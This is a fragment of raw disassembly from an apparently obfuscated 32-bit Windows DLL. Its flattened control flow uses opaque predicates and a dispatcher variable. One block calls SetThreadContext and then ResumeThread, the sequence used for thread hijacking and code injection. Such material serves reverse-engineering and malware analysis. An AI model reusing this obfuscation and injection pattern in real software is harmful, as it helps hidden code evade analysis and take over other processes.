cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf2e32e99
mov ecx, 0xfcd8a9c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x70]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x74]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x148], 0x93a2c345
jmp 0x10004f78
mov eax, dword [0x10063f38]
mov ecx, dword [0x10063f34]
mov edx, eax
sub edx, 0x4e995100
sub edx, 1
add edx, 0x4e995100
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8cddf60
mov ecx, 0x89d25d0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004f78
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x148], 0x5c10bbc5
jmp 0x10004f78
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005600
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov dword [ebp - 0x148], 0xda6e6274
jmp 0x10004f78
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x148], 0x8864867e
jmp 0x10004f78
mov eax, dword [ebp - 0x114]
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x148], 0xa7cbe2e4
jmp 0x10004f78
mov eax, dword [ebp - 0x100]
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x148], 0xe6a4da96
jmp 0x10004f78
mov dword [ebp - 0x148], 0xb19d169e
jmp 0x10004f78
mov dword [ebp - 0x148], 0xfb01e877
jmp 0x10004f78
jmp 0x100023a0